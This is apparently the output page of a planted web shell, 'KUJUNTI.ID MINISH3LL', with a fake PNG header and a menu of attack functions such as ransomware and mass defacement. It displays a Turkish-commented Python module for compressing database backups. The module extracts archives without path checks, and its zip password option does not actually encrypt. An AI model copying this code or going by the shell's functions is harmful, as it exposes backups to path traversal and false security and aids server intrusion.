\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv7/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv7/database_compression.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Veritabanı yedeklerini sıkıştırma işlemleri için yardımcı fonksiyonlar.
Bu modül, yedekleme dosyalarını sıkıştırma ve açma işlemlerini yönetir.
"""

import os
import logging
import zipfile
import gzip
import tarfile
import tempfile
import shutil
from pathlib import Path

# Logging yapılandırması
logging.basicConfig(level=logging.INFO,
                   format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def compress_file(input_file, compression_type='zip', output_file=None, password=None):
    """
    Bir dosyayı sıkıştırır.
    
    Args:
        input_file (str): Sıkıştırılacak dosyanın yolu
        compression_type (str): Sıkıştırma türü ('zip', 'gzip', 'tar.gz')
        output_file (str, optional): Çıktı dosyasının yolu
        password (str, optional): ZIP şifrelemesi için şifre (sadece zip için)
        
    Returns:
        str: Sıkıştırılmış dosyanın yolu veya None (başarısız olursa)
    """
    try:
        if not os.path.exists(input_file):
            logger.error(f"Sıkıştırılacak dosya bulunamadı: {input_file}")
            return None
            
        # Çıktı dosyası belirtilmemişse, otomatik oluştur
        if not output_file:
            if compression_type == 'zip':
                output_file = f"{input_file}.zip"
            elif compression_type == 'gzip':
                output_file = f"{input_file}.gz"
            elif compression_type == 'tar.gz':
                output_file = f"{input_file}.tar.gz"
            else:
                output_file = f"{input_file}.{compression_type}"
        
        # Dosya adını ve uzantısını al
        file_name = os.path.basename(input_file)
        
        # Sıkıştırma türüne göre işlem yap
        if compression_type == 'zip':
            compression = zipfile.ZIP_DEFLATED
            with zipfile.ZipFile(output_file, 'w', compression=compression) as zf:
                if password:
                    # ZIP şifrelemesi için Python 3.7+ gerekir
                    try:
                        zf.setpassword(password.encode() if isinstance(password, str) else password)
                    except AttributeError:
                        logger.warning("ZIP şifrelemesi bu Python sürümünde desteklenmiyor.")
                
                zf.write(input_file, file_name)
                
        elif compression_type == 'gzip':
            with open(input_file, 'rb') as f_in:
                with gzip.open(output_file, 'wb') as f_out:
                    shutil.copyfileobj(f_in, f_out)
                    
        elif compression_type == 'tar.gz':
            with tarfile.open(output_file, "w:gz") as tar:
                tar.add(input_file, arcname=file_name)
        
        else:
            logger.error(f"Desteklenmeyen sıkıştırma türü: {compression_type}")
            return None
            
        # Sıkıştırma başarılı
        file_size_original = os.path.getsize(input_file)
        file_size_compressed = os.path.getsize(output_file)
        compression_ratio = (1 - file_size_compressed / file_size_original) * 100
        
        logger.info(f"Dosya başarıyla sıkıştırıldı: {output_file}")
        logger.info(f"Orijinal boyut: {file_size_original:,} byte, Sıkıştırılmış boyut: {file_size_compressed:,} byte")
        logger.info(f"Sıkıştırma oranı: %{compression_ratio:.2f}")
        
        return output_file
        
    except Exception as e:
        logger.error(f"Dosya sıkıştırılırken hata oluştu: {str(e)}")
        return None

def extract_file(input_file, output_dir=None, password=None):
    """
    Sıkıştırılmış bir dosyayı açar.
    
    Args:
        input_file (str): Açılacak sıkıştırılmış dosyanın yolu
        output_dir (str, optional): Çıktı dizini
        password (str, optional): ZIP şifrelemesi için şifre (sadece zip için)
        
    Returns:
        list: Açılan dosyaların tam yollarını içeren liste veya None (başarısız olursa)
    """
    try:
        if not os.path.exists(input_file):
            logger.error(f"Açılacak dosya bulunamadı: {input_file}")
            return None
            
        # Çıktı dizini belirtilmemişse, geçici dizin oluştur
        if not output_dir:
            output_dir = tempfile.mkdtemp()
        
        # Çıktı dizini yoksa oluştur
        os.makedirs(output_dir, exist_ok=True)
        
        extracted_files = []
        
        # Dosya türünü belirle ve açma işlemini yap
        if input_file.endswith('.zip'):
            with zipfile.ZipFile(input_file, 'r') as zf:
                if password:
                    try:
                        zf.setpassword(password.encode() if isinstance(password, str) else password)
                    except AttributeError:
                        logger.warning("ZIP şifrelemesi bu Python sürümünde desteklenmiyor.")
                
                zf.extractall(output_dir)
                extracted_files = [os.path.join(output_dir, name) for name in zf.namelist()]
                
        elif input_file.endswith('.gz') and not input_file.endswith('.tar.gz'):
            # GZIP açma (tek dosya)
            output_file = os.path.join(output_dir, os.path.basename(input_file)[:-3])
            with gzip.open(input_file, 'rb') as f_in:
                with open(output_file, 'wb') as f_out:
                    shutil.copyfileobj(f_in, f_out)
            extracted_files = [output_file]
                
        elif input_file.endswith('.tar.gz') or input_file.endswith('.tgz'):
            # TAR.GZ açma
            with tarfile.open(input_file, "r:gz") as tar:
                tar.extractall(path=output_dir)
                extracted_files = [os.path.join(output_dir, name) for name in tar.getnames()]
        
        else:
            logger.error(f"Desteklenmeyen sıkıştırılmış dosya türü: {input_file}")
            return None
            
        logger.info(f"Dosya başarıyla açıldı: {input_file}")
        logger.info(f"Çıktı dizini: {output_dir}")
        logger.info(f"Açılan dosya sayısı: {len(extracted_files)}")
        
        return extracted_files
        
    except Exception as e:
        logger.error(f"Dosya açılırken hata oluştu: {str(e)}")
        return None

def get_compression_ratio(original_file, compressed_file):
    """
    İki dosya arasındaki sıkıştırma oranını hesaplar.
    
    Args:
        original_file (str): Orijinal dosyanın yolu
        compressed_file (str): Sıkıştırılmış dosyanın yolu
        
    Returns:
        float: Sıkıştırma oranı (yüzde olarak)
    """
    if not os.path.exists(original_file) or not os.path.exists(compressed_file):
        return 0.0
        
    original_size = os.path.getsize(original_file)
    compressed_size = os.path.getsize(compressed_file)
    
    if original_size == 0:
        return 0.0
        
    ratio = (1 - compressed_size / original_size) * 100
    return ratio

# Test işlevi
def test_compression():
    """
    Sıkıştırma fonksiyonlarını test eder.
    
    Returns:
        bool: Test başarılı ise True, değilse False
    """
    try:
        # Geçici test dosyası oluştur
        test_file = os.path.join(tempfile.gettempdir(), "compression_test.txt")
        with open(test_file, "w") as f:
            f.write("Bu bir sıkıştırma test dosyasıdır. " * 100)  # Tekrarlanmış metin
            
        logger.info(f"Test dosyası oluşturuldu: {test_file}")
            
        # ZIP sıkıştırma testi
        zip_file = compress_file(test_file, compression_type='zip')
        if not zip_file:
            logger.error("ZIP sıkıştırma testi başarısız!")
            return False
            
        # GZIP sıkıştırma testi
        gzip_file = compress_file(test_file, compression_type='gzip')
        if not gzip_file:
            logger.error("GZIP sıkıştırma testi başarısız!")
            return False
            
        # TAR.GZ sıkıştırma testi
        targz_file = compress_file(test_file, compression_type='tar.gz')
        if not targz_file:
            logger.error("TAR.GZ sıkıştırma testi başarısız!")
            return False
            
        # Sıkıştırma oranlarını karşılaştır
        zip_ratio = get_compression_ratio(test_file, zip_file)
        gzip_ratio = get_compression_ratio(test_file, gzip_file)
        targz_ratio = get_compression_ratio(test_file, targz_file)
        
        logger.info(f"ZIP sıkıştırma oranı: %{zip_ratio:.2f}")
        logger.info(f"GZIP sıkıştırma oranı: %{gzip_ratio:.2f}")
        logger.info(f"TAR.GZ sıkıştırma oranı: %{targz_ratio:.2f}")
        
        # ZIP açma testi
        extract_dir = os.path.join(tempfile.gettempdir(), "extract_test")
        extracted_files = extract_file(zip_file, output_dir=extract_dir)
        if not extracted_files:
            logger.error("ZIP açma testi başarısız!")
            return False
            
        logger.info("Sıkıştırma testleri başarılı!")
        return True
        
    except Exception as e:
        logger.error(f"Test sırasında hata oluştu: {str(e)}")
        return False
        
    finally:
        # Temizleme
        for file_path in [
            os.path.join(tempfile.gettempdir(), "compression_test.txt"),
            os.path.join(tempfile.gettempdir(), "compression_test.txt.zip"),
            os.path.join(tempfile.gettempdir(), "compression_test.txt.gz"),
            os.path.join(tempfile.gettempdir(), "compression_test.txt.tar.gz")
        ]:
            if os.path.exists(file_path):
                os.remove(file_path)
                
        extract_dir = os.path.join(tempfile.gettempdir(), "extract_test")
        if os.path.exists(extract_dir):
            shutil.rmtree(extract_dir)

def main():
    """Ana fonksiyon"""
    logger.info("Veritabanı sıkıştırma modülü test ediliyor...")
    
    if test_compression():
        logger.info("Test BAŞARILI!")
        return 0
    else:
        logger.error("Test BAŞARISIZ!")
        return 1

if __name__ == "__main__":
    main()

© KUJUNTI.ID